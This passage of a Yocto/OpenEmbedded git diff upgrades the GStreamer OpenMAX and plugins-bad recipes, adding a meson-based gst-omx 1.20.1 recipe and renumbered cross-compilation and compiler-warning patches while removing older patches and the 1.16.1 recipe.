-GSTREAMER_1_0_OMX_TARGET ?= "bellagio"
-GSTREAMER_1_0_OMX_CORE_NAME ?= "${libdir}/libomxil-bellagio.so.0"
-
-EXTRA_OECONF += "--disable-valgrind --with-omx-target=${GSTREAMER_1_0_OMX_TARGET}"
-
-python __anonymous () {
- omx_target = d.getVar("GSTREAMER_1_0_OMX_TARGET")
- if omx_target in ['generic', 'bellagio']:
- # Bellagio headers are incomplete (they are missing the OMX_VERSION_MAJOR,#
- # OMX_VERSION_MINOR, OMX_VERSION_REVISION, and OMX_VERSION_STEP macros);
- # appending a directory path to gst-omx' internal OpenMAX IL headers fixes this
- d.appendVar("CFLAGS", " -I${S}/omx/openmax")
- elif omx_target == "rpi":
- # Dedicated Raspberry Pi OpenMAX IL support makes this package machine specific
- d.setVar("PACKAGE_ARCH", d.getVar("MACHINE_ARCH"))
-}
-
-delete_pkg_m4_file() {
- # Delete m4 files which we provide patched versions of but will be ignored
- # if these exist
- rm -f "${S}/common/m4/pkg.m4"
- rm -f "${S}/common/m4/gtk-doc.m4"
-}
-do_configure[prefuncs] += "delete_pkg_m4_file"
-
-set_omx_core_name() {
- sed -i -e "s;^core-name=.*;core-name=${GSTREAMER_1_0_OMX_CORE_NAME};" "${D}${sysconfdir}/xdg/gstomx.conf"
-}
-do_install[postfuncs] += " set_omx_core_name "
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.la"
-FILES_${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
-
-RDEPENDS_${PN} = "libomxil"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.20.1.bb
new file mode 100644
index 0000000000..835f9a31fd
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.20.1.bb
@@ -0,0 +1,47 @@
+SUMMARY = "OpenMAX IL plugins for GStreamer"
+DESCRIPTION = "Wraps available OpenMAX IL components and makes them available as standard GStreamer elements."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-or-later"
+LICENSE_FLAGS = "commercial"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://omx/gstomx.h;beginline=1;endline=21;md5=5c8e1fca32704488e76d2ba9ddfa935f"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "86b52e30ebd0f59fcb5cf81a163211975f73ef32e5a6782562804646316bcd7c"
+
+S = "${WORKDIR}/gst-omx-${PV}"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad virtual/libomxil"
+
+inherit meson pkgconfig upstream-version-is-even
+
+GSTREAMER_1_0_OMX_TARGET ?= "bellagio"
+GSTREAMER_1_0_OMX_CORE_NAME ?= "${libdir}/libomxil-bellagio.so.0"
+
+EXTRA_OEMESON += "-Dtarget=${GSTREAMER_1_0_OMX_TARGET}"
+
+python __anonymous () {
+ omx_target = d.getVar("GSTREAMER_1_0_OMX_TARGET")
+ if omx_target in ['generic', 'bellagio']:
+ # Bellagio headers are incomplete (they are missing the OMX_VERSION_MAJOR,#
+ # OMX_VERSION_MINOR, OMX_VERSION_REVISION, and OMX_VERSION_STEP macros);
+ # appending a directory path to gst-omx' internal OpenMAX IL headers fixes this
+ d.appendVar("CFLAGS", " -I${S}/omx/openmax")
+ elif omx_target == "rpi":
+ # Dedicated Raspberry Pi OpenMAX IL support makes this package machine specific
+ d.setVar("PACKAGE_ARCH", d.getVar("MACHINE_ARCH"))
+}
+
+set_omx_core_name() {
+ sed -i -e "s;^core-name=.*;core-name=${GSTREAMER_1_0_OMX_CORE_NAME};" "${D}${sysconfdir}/xdg/gstomx.conf"
+}
+do_install[postfuncs] += " set_omx_core_name "
+
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
+
+VIRTUAL-RUNTIME_libomxil ?= "libomxil"
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_libomxil}"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch
new file mode 100644
index 0000000000..4b3451d321
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch
@@ -0,0 +1,26 @@
+From 6c3eeaf6435608f744303c17d52245f926cd28ac Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Tue, 26 Jan 2016 15:16:01 -0800
+Subject: [PATCH] fix maybe-uninitialized warnings when compiling with -Os
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ gst-libs/gst/codecparsers/gstvc1parser.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gst-libs/gst/codecparsers/gstvc1parser.c b/gst-libs/gst/codecparsers/gstvc1parser.c
+index 2c60ced..e8226d8 100644
+--- a/gst-libs/gst/codecparsers/gstvc1parser.c
++++ b/gst-libs/gst/codecparsers/gstvc1parser.c
+@@ -1730,7 +1730,7 @@ gst_vc1_parse_sequence_layer (const guint8 * data, gsize size,
+ GstVC1SeqLayer * seqlayer)
+ {
+ guint32 tmp;
+- guint8 tmp8;
++ guint8 tmp8 = 0;
+ guint8 structA[8] = { 0, };
+ guint8 structB[12] = { 0, };
+ GstBitReader br;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch
new file mode 100644
index 0000000000..e3e5d9fb60
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch
@@ -0,0 +1,28 @@
+From 701255c5797f222f0c47ace6437d213607b98d1e Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Wed, 3 Feb 2016 18:05:41 -0800
+Subject: [PATCH] avoid including <sys/poll.h> directly
+
+musl libc generates warnings if <sys/poll.h> is included directly.
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ sys/dvb/gstdvbsrc.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/sys/dvb/gstdvbsrc.c b/sys/dvb/gstdvbsrc.c
+index 92c918c..5e27871 100644
+--- a/sys/dvb/gstdvbsrc.c
++++ b/sys/dvb/gstdvbsrc.c
+@@ -98,7 +98,7 @@
+ #include <gst/gst.h>
+ #include <gst/glib-compat-private.h>
+ #include <sys/ioctl.h>
+-#include <sys/poll.h>
++#include <poll.h>
+ #include <fcntl.h>
+ #include <errno.h>
+ #include <stdio.h>
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch
new file mode 100644
index 0000000000..280cbf984a
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch
@@ -0,0 +1,86 @@
+From 001fa08542dd5fc79571f7c803b2d3dd59c04a06 Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Tue, 9 Feb 2016 14:00:00 -0800
+Subject: [PATCH] ensure valid sentinals for gst_structure_get() etc
+
+For GStreamer functions declared with G_GNUC_NULL_TERMINATED,
+ie __attribute__((__sentinel__)), gcc will generate a warning if the
+last parameter passed to the function is not NULL (where a valid NULL
+in this context is defined as zero with any pointer type).
+
+The C callers to such functions within gst-plugins-bad use the C NULL
+definition (ie ((void*)0)), which is a valid sentinel.
+
+However the C++ NULL definition (ie 0L), is not a valid sentinel
+without an explicit cast to a pointer type.
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ sys/decklink/gstdecklink.cpp | 10 +++++-----
+ sys/decklink/gstdecklinkaudiosrc.cpp | 2 +-
+ sys/decklink/gstdecklinkvideosink.cpp | 2 +-
+ 3 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/sys/decklink/gstdecklink.cpp b/sys/decklink/gstdecklink.cpp
+index 3f79deb..96600c6 100644
+--- a/sys/decklink/gstdecklink.cpp
++++ b/sys/decklink/gstdecklink.cpp
+@@ -680,7 +680,7 @@ gst_decklink_mode_get_generic_structure (GstDecklinkModeEnum e)
+ "pixel-aspect-ratio", GST_TYPE_FRACTION, mode->par_n, mode->par_d,
+ "interlace-mode", G_TYPE_STRING,
+ mode->interlaced ? "interleaved" : "progressive",
+- "framerate", GST_TYPE_FRACTION, mode->fps_n, mode->fps_d, NULL);
++ "framerate", GST_TYPE_FRACTION, mode->fps_n, mode->fps_d, (void*)NULL);
+
+ return s;
+ }
+@@ -705,16 +705,16 @@ gst_decklink_mode_get_structure (GstDecklinkModeEnum e, BMDPixelFormat f,
+ case bmdFormat8BitYUV: /* '2vuy' */
+ gst_structure_set (s, "format", G_TYPE_STRING, "UYVY",
+ "colorimetry", G_TYPE_STRING, mode->colorimetry,
+- "chroma-site", G_TYPE_STRING, "mpeg2", NULL);
++ "chroma-site", G_TYPE_STRING, "mpeg2", (void*)NULL);
+ break;
+ case bmdFormat10BitYUV: /* 'v210' */
+- gst_structure_set (s, "format", G_TYPE_STRING, "v210", NULL);
++ gst_structure_set (s, "format", G_TYPE_STRING, "v210", (void*)NULL);
+ break;
+ case bmdFormat8BitARGB: /* 'ARGB' */
+- gst_structure_set (s, "format", G_TYPE_STRING, "ARGB", NULL);
++ gst_structure_set (s, "format", G_TYPE_STRING, "ARGB", (void*)NULL);
+ break;
+ case bmdFormat8BitBGRA: /* 'BGRA' */
+- gst_structure_set (s, "format", G_TYPE_STRING, "BGRA", NULL);
++ gst_structure_set (s, "format", G_TYPE_STRING, "BGRA", (void*)NULL);
+ break;
+ case bmdFormat10BitRGB: /* 'r210' Big-endian RGB 10-bit per component with SMPTE video levels (64-960). Packed as 2:10:10:10 */
+ case bmdFormat12BitRGB: /* 'R12B' Big-endian RGB 12-bit per component with full range (0-4095). Packed as 12-bit per component */
+diff --git a/sys/decklink/gstdecklinkaudiosrc.cpp b/sys/decklink/gstdecklinkaudiosrc.cpp
+index 50ad5cc..d209180 100644
+--- a/sys/decklink/gstdecklinkaudiosrc.cpp
++++ b/sys/decklink/gstdecklinkaudiosrc.cpp
+@@ -388,7 +388,7 @@ gst_decklink_audio_src_start (GstDecklinkAudioSrc * self)
+ g_mutex_unlock (&self->input->lock);
+
+ if (videosrc) {
+- g_object_get (videosrc, "connection", &vconn, NULL);
++ g_object_get (videosrc, "connection", &vconn, (void *) NULL);
+ gst_object_unref (videosrc);
+
+ switch (vconn) {
+diff --git a/sys/decklink/gstdecklinkvideosink.cpp b/sys/decklink/gstdecklinkvideosink.cpp
+index a64c046..07a09e8 100644
+--- a/sys/decklink/gstdecklinkvideosink.cpp
++++ b/sys/decklink/gstdecklinkvideosink.cpp
+@@ -288,7 +288,7 @@ reset_framerate (GstCapsFeatures * features, GstStructure * structure,
+ gpointer user_data)
+ {
+ gst_structure_set (structure, "framerate", GST_TYPE_FRACTION_RANGE, 0, 1,
+- G_MAXINT, 1, NULL);
++ G_MAXINT, 1, (void *) NULL);
+
+ return TRUE;
+ }
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch
new file mode 100644
index 0000000000..029b80e174
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch
@@ -0,0 +1,33 @@
+From 3bc5d48257032b6bbee532aad15062fbbcc43bfe Mon Sep 17 00:00:00 2001
+From: Andrey Zhizhikin <andrey.z@gmail.com>
+Date: Mon, 27 Jan 2020 10:22:35 +0000
+Subject: [PATCH] opencv: resolve missing opencv data dir in yocto build
+
+When Yocto build is performed, opencv searches for data dir using simple
+'test' command, this fails because pkg-config provides an absolute
+path on the target which needs to be prepended by PKG_CONFIG_SYSROOT_DIR
+in order for the 'test' utility to pick up the absolute path.
+
+Upstream-Status: Inappropriate [OE-specific]
+
+Signed-off-by: Andrey Zhizhikin <andrey.z@gmail.com>
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ ext/opencv/meson.build | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/ext/opencv/meson.build b/ext/opencv/meson.build
+index 1d86b90..b5c8b95 100644
+--- a/ext/opencv/meson.build
++++ b/ext/opencv/meson.build
+@@ -87,6 +87,9 @@ if opencv_found
+ opencv_prefix = opencv_dep.get_variable('prefix')
+ gstopencv_cargs += ['-DOPENCV_PREFIX="' + opencv_prefix + '"']
+
++ pkgconf_sysroot = run_command(python3, '-c', 'import os; print(os.environ.get("PKG_CONFIG_SYSROOT_DIR"))').stdout().strip()
++ opencv_prefix = pkgconf_sysroot + opencv_prefix
++
+ # Check the data dir used by opencv for its xml data files
+ # Use prefix from pkg-config to be compatible with cross-compilation
+ r = run_command('test', '-d', opencv_prefix + '/share/opencv', check: false)
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch
new file mode 100644
index 0000000000..273b45bd49
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch
@@ -0,0 +1,40 @@
+From e31f68c46ff0c29fa3c22755f18d5dde87b23bf2 Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Wed, 30 Dec 2020 16:37:47 +0800
+Subject: [PATCH] msdk: fix includedir path
+
+In cross compilation, need to prepend PKG_CONFIG_SYSROOT_DIR to the dir path.
+
+Upstream-Status: Inappropriate [OE-specific]
+
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ sys/msdk/meson.build | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/sys/msdk/meson.build b/sys/msdk/meson.build
+index 24aabc7..6003bb7 100644
+--- a/sys/msdk/meson.build
++++ b/sys/msdk/meson.build
+@@ -46,7 +46,9 @@ if mfx_api != 'oneVPL'
+ mfx_dep = dependency('libmfx', version: ['>= 1.0', '<= 1.99'], required: false)
+
+ if mfx_dep.found()
++ pkgconf_sysroot = run_command(python3, '-c', 'import os; print(os.environ.get("PKG_CONFIG_SYSROOT_DIR"))').stdout().strip()
+ mfx_incdir = mfx_dep.get_variable('includedir')
++ mfx_incdir = pkgconf_sysroot + mfx_incdir
+ mfx_inc = []
+ use_msdk = true
+ else
+@@ -75,7 +77,9 @@ if not use_msdk and mfx_api != 'MSDK'
+ mfx_dep = dependency('vpl', version: '>= 2.2', required: false)
+
+ if mfx_dep.found()
++ pkgconf_sysroot = run_command(python3, '-c', 'import os; print(os.environ.get("PKG_CONFIG_SYSROOT_DIR"))').stdout().strip()
+ mfx_incdir = mfx_dep.get_variable('includedir')
++ mfx_incdir = pkgconf_sysroot + mfx_incdir
+ mfx_inc = []
+ use_onevpl = true
+ endif
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch
deleted file mode 100644
index 32261279a5..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 72561a0fca562d03567ace7b4cfc94992cd6525c Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Wed, 3 Feb 2016 18:05:41 -0800
-Subject: [PATCH] avoid including <sys/poll.h> directly
-
-musl libc generates warnings if <sys/poll.h> is included directly.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- sys/dvb/gstdvbsrc.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sys/dvb/gstdvbsrc.c b/sys/dvb/gstdvbsrc.c
-index b93255f..49f145a 100644
---- a/sys/dvb/gstdvbsrc.c
-+++ b/sys/dvb/gstdvbsrc.c
-@@ -97,7 +97,7 @@
- #include <gst/gst.h>
- #include <gst/glib-compat-private.h>
- #include <sys/ioctl.h>
--#include <sys/poll.h>
-+#include <poll.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <stdio.h>
---
-1.9.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/configure-allow-to-disable-libssh2.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/configure-allow-to-disable-libssh2.patch
deleted file mode 100644
index 25861b6b9d..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/configure-allow-to-disable-libssh2.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From f59c5269f92d59a5296cbfeeb682d42095cd88ad Mon Sep 17 00:00:00 2001
-From: Wenzong Fan <wenzong.fan@windriver.com>
-Date: Thu, 18 Sep 2014 02:24:07 -0400
-Subject: [PATCH] gstreamer1.0-plugins-bad: allow to disable libssh2
-
-libssh2 is automatically linked to if present, this undetermined
-dependency may cause build errors like:
-
- .../x86_64-poky-linux/4.9.0/ld: cannot find -lssh2
-
-libssh2 isn't an oe-core recipe, so allow to disable it from
-configure.
-
-Upstream-Status: Pending
-
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
----
- configure.ac | 23 +++++++++++++++++------
- 1 file changed, 17 insertions(+), 6 deletions(-)
-
-Index: gst-plugins-bad-1.12.3/configure.ac
-===================================================================
---- gst-plugins-bad-1.12.3.orig/configure.ac
-+++ gst-plugins-bad-1.12.3/configure.ac
-@@ -1202,6 +1202,15 @@ AG_GST_CHECK_FEATURE(CHROMAPRINT, [chrom
- ])
-
- dnl *** Curl ***
-+AC_ARG_ENABLE([libssh2],
-+ [ --enable-libssh2 enable LIBSSH2 support @<:@default=auto@:>@],
-+ [case "${enableval}" in
-+ yes) NEED_SSH2=yes ;;
-+ no) NEED_SSH2=no ;;
-+ auto) NEED_SSH2=auto ;;
-+ *) AC_MSG_ERROR([bad value ${enableval} for --enable-libssh2]) ;;
-+ esac],[NEED_SSH2=auto])
-+
- translit(dnm, m, l) AM_CONDITIONAL(USE_CURL, true)
- AG_GST_CHECK_FEATURE(CURL, [Curl plugin], curl, [
- PKG_CHECK_MODULES(CURL, libcurl >= 7.35.0, [
-@@ -1224,12 +1233,14 @@ AG_GST_CHECK_FEATURE(CURL, [Curl plugin]
- ])
- AC_SUBST(CURL_CFLAGS)
- AC_SUBST(CURL_LIBS)
-- PKG_CHECK_MODULES(SSH2, libssh2 >= 1.4.3, [
-- HAVE_SSH2="yes"
-- AC_DEFINE(HAVE_SSH2, 1, [Define if libssh2 is available])
-- ], [
-- HAVE_SSH2="no"
-- ])
-+ if test "x$NEED_SSH2" != "xno"; then
-+ PKG_CHECK_MODULES(SSH2, libssh2 >= 1.4.3, [
-+ HAVE_SSH2="yes"
-+ AC_DEFINE(HAVE_SSH2, 1, [Define if libssh2 is available])
-+ ], [
-+ HAVE_SSH2="no"
-+ ])
-+ fi
- AM_CONDITIONAL(USE_SSH2, test "x$HAVE_SSH2" = "xyes")
- AC_SUBST(SSH2_CFLAGS)
- AC_SUBST(SSH2_LIBS)
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch
deleted file mode 100644
index 2d5389d953..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch
+++ /dev/null
@@ -1,85 +0,0 @@
-From 2262ba4b686d5cc0d3e894707fe1d31619a3a8f1 Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 9 Feb 2016 14:00:00 -0800
-Subject: [PATCH] ensure valid sentinals for gst_structure_get() etc
-
-For GStreamer functions declared with G_GNUC_NULL_TERMINATED,
-ie __attribute__((__sentinel__)), gcc will generate a warning if the
-last parameter passed to the function is not NULL (where a valid NULL
-in this context is defined as zero with any pointer type).
-
-The C callers to such functions within gst-plugins-bad use the C NULL
-definition (ie ((void*)0)), which is a valid sentinel.
-
-However the C++ NULL definition (ie 0L), is not a valid sentinel
-without an explicit cast to a pointer type.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- sys/decklink/gstdecklink.cpp | 10 +++++-----
- sys/decklink/gstdecklinkaudiosrc.cpp | 2 +-
- sys/decklink/gstdecklinkvideosink.cpp | 2 +-
- 3 files changed, 7 insertions(+), 7 deletions(-)
-
-Index: gst-plugins-bad-1.10.2/sys/decklink/gstdecklink.cpp
-===================================================================
---- gst-plugins-bad-1.10.2.orig/sys/decklink/gstdecklink.cpp
-+++ gst-plugins-bad-1.10.2/sys/decklink/gstdecklink.cpp
-@@ -617,7 +617,7 @@ gst_decklink_mode_get_structure (GstDeck
- "pixel-aspect-ratio", GST_TYPE_FRACTION, mode->par_n, mode->par_d,
- "interlace-mode", G_TYPE_STRING,
- mode->interlaced ? "interleaved" : "progressive",
-- "framerate", GST_TYPE_FRACTION, mode->fps_n, mode->fps_d, NULL);
-+ "framerate", GST_TYPE_FRACTION, mode->fps_n, mode->fps_d, (void*)NULL);
-
- if (input && mode->interlaced) {
- if (mode->tff)
-@@ -632,16 +632,16 @@ gst_decklink_mode_get_structure (GstDeck
- case bmdFormat8BitYUV: /* '2vuy' */
- gst_structure_set (s, "format", G_TYPE_STRING, "UYVY",
- "colorimetry", G_TYPE_STRING, mode->colorimetry,
-- "chroma-site", G_TYPE_STRING, "mpeg2", NULL);
-+ "chroma-site", G_TYPE_STRING, "mpeg2", (void*)NULL);
- break;
- case bmdFormat10BitYUV: /* 'v210' */
-- gst_structure_set (s, "format", G_TYPE_STRING, "v210", NULL);
-+ gst_structure_set (s, "format", G_TYPE_STRING, "v210", (void*)NULL);
- break;
- case bmdFormat8BitARGB: /* 'ARGB' */
-- gst_structure_set (s, "format", G_TYPE_STRING, "ARGB", NULL);
-+ gst_structure_set (s, "format", G_TYPE_STRING, "ARGB", (void*)NULL);
- break;
- case bmdFormat8BitBGRA: /* 'BGRA' */
-- gst_structure_set (s, "format", G_TYPE_STRING, "BGRA", NULL);
-+ gst_structure_set (s, "format", G_TYPE_STRING, "BGRA", (void*)NULL);
- break;
- case bmdFormat10BitRGB: /* 'r210' Big-endian RGB 10-bit per component with SMPTE video levels (64-960). Packed as 2:10:10:10 */
- case bmdFormat12BitRGB: /* 'R12B' Big-endian RGB 12-bit per component with full range (0-4095). Packed as 12-bit per component */
-Index: gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkaudiosrc.cpp
-===================================================================
---- gst-plugins-bad-1.10.2.orig/sys/decklink/gstdecklinkaudiosrc.cpp
-+++ gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkaudiosrc.cpp
-@@ -387,7 +387,7 @@ gst_decklink_audio_src_set_caps (GstBase
- g_mutex_unlock (&self->input->lock);
-
- if (videosrc) {
-- g_object_get (videosrc, "connection", &vconn, NULL);
-+ g_object_get (videosrc, "connection", &vconn, (void *) NULL);
- gst_object_unref (videosrc);
-
- switch (vconn) {
-Index: gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkvideosink.cpp
-===================================================================
---- gst-plugins-bad-1.10.2.orig/sys/decklink/gstdecklinkvideosink.cpp
-+++ gst-plugins-bad-1.10.2/sys/decklink/gstdecklinkvideosink.cpp
-@@ -285,7 +285,7 @@ reset_framerate (GstCapsFeatures * featu
- gpointer user_data)
- {
- gst_structure_set (structure, "framerate", GST_TYPE_FRACTION_RANGE, 0, 1,
-- G_MAXINT, 1, NULL);
-+ G_MAXINT, 1, (void *) NULL);
-
- return TRUE;
- }
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch
deleted file mode 100644
index 73681f1002..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From a67781000e82bd9ae3813da29401e8c0c852328a Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 26 Jan 2016 15:16:01 -0800
-Subject: [PATCH] fix maybe-uninitialized warnings when compiling with -Os
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- gst-libs/gst/codecparsers/gstvc1parser.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gst-libs/gst/codecparsers/gstvc1parser.c b/gst-libs/gst/codecparsers/gstvc1parser.c
-index fd16ee0..ddb890c 100644
---- a/gst-libs/gst/codecparsers/gstvc1parser.c
-+++ b/gst-libs/gst/codecparsers/gstvc1parser.c
-@@ -1730,7 +1730,7 @@ gst_vc1_parse_sequence_layer (const guint8 * data, gsize size,
- GstVC1SeqLayer * seqlayer)
- {
- guint32 tmp;
-- guint8 tmp8;
-+ guint8 tmp8 = 0;
- guint8 structA[8] = { 0, };
- guint8 structB[12] = { 0, };
- GstBitReader br;
---
-1.9.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.1.bb
deleted file mode 100644
index 1731be8441..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.1.bb
+++ /dev/null
@@ -1,145 +0,0 @@
-require gstreamer1.0-plugins.inc
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${PV}.tar.xz \
- file://configure-allow-to-disable-libssh2.patch \
- file://fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch \
- file://avoid-including-sys-poll.h-directly.patch \
- file://ensure-valid-sentinels-for-gst_structure_get-etc.patch \
- file://0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch \
-"
-SRC_URI[md5sum] = "24d4d30ecc67d5cbc77c0475bcea1210"
-SRC_URI[sha256sum] = "56481c95339b8985af13bac19b18bc8da7118c2a7d9440ed70e7dcd799c2adb5"
-
-S = "${WORKDIR}/gst-plugins-bad-${PV}"
-
-LICENSE = "GPLv2+ & LGPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=73a5855a8119deb017f5f13cf327095d \
- file://COPYING.LIB;md5=21682e4e8fea52413fd26c60acb907e5 "
-
-DEPENDS += "gstreamer1.0-plugins-base"
-
-inherit gettext gobject-introspection
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'directfb vulkan', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gl', '', d)} \
- bz2 curl dash dtls hls rsvg sbc smoothstreaming sndfile ttml uvch264 webp \
-"
-
-# the gl packageconfig enables OpenGL elements that haven't been ported
-# to -base yet. They depend on the gstgl library in -base, so we do
-# not add GL dependencies here, since these are taken care of in -base.
-
-PACKAGECONFIG[assrender] = "--enable-assrender,--disable-assrender,libass"
-PACKAGECONFIG[bluez] = "--enable-bluez,--disable-bluez,bluez5"
-PACKAGECONFIG[bz2] = "--enable-bz2,--disable-bz2,bzip2"
-PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl"
-PACKAGECONFIG[dash] = "--enable-dash,--disable-dash,libxml2"
-PACKAGECONFIG[dc1394] = "--enable-dc1394,--disable-dc1394,libdc1394"
-PACKAGECONFIG[directfb] = "--enable-directfb,--disable-directfb,directfb"
-PACKAGECONFIG[dtls] = "--enable-dtls,--disable-dtls,openssl"
-PACKAGECONFIG[faac] = "--enable-faac,--disable-faac,faac"
-PACKAGECONFIG[faad] = "--enable-faad,--disable-faad,faad2"
-PACKAGECONFIG[flite] = "--enable-flite,--disable-flite,flite-alsa"
